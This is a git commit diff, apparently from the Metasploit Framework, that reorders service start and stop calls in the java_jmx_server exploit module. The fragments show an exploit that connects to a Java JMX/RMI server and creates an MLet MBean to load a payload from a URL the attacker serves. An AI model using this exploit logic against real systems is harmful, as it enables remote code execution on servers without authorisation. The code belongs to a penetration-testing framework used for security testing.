Land #5974, java_jmx_server start order fix

bug/bundler_fix
William Vu 2015-09-15 01:33:44 -05:00
commit abe65cd400
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
1 changed files with 5 additions and 6 deletions

View File

@ -120,6 +120,9 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
vprint_status("Starting service...")
start_service
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
connect
@ -165,6 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote
method: 'run'
)
disconnect
vprint_status("Stopping service...")
stop_service
end
def is_rmi?
@ -242,9 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
def load_payload_from_url(conn_stub)
vprint_status("Starting service...")
start_service
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
begin
@ -308,9 +310,6 @@ class Metasploit3 < Msf::Exploit::Remote
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}")
return false
ensure
vprint_status("Stopping service...")
stop_service
end
if res.nil?